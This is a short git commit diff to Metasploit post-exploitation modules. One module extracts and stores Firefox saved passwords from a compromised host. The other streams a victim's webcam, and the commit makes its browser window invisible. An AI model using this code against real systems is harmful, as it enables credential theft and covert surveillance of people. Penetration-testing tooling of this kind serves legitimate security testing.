Make window invisible.

unstable
joev 2014-06-06 16:40:55 -05:00
parent 496be5c336
commit a45a5631f5
2 changed files with 7 additions and 3 deletions

View File

@ -37,8 +37,12 @@ class Metasploit3 < Msf::Post
entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
end
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
print_good("Saved #{passwords.length} passwords to #{file}")
if passwords.length > 0
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
print_good("Saved #{passwords.length} passwords to #{file}")
else
print_warning("No passwords were found in Firefox.")
end
rescue JSON::ParserError => e
print_warning(results)
end

View File

@ -76,7 +76,7 @@ class Metasploit3 < Msf::Post
var html = "#{Rex::Text.encode_base64(interface)}";
var url = #{url};
AppShellService.hiddenDOMWindow.openDialog(url, 'xxx');
AppShellService.hiddenDOMWindow.open(url, '_self');
send("Streaming webcam...");
} catch (e) {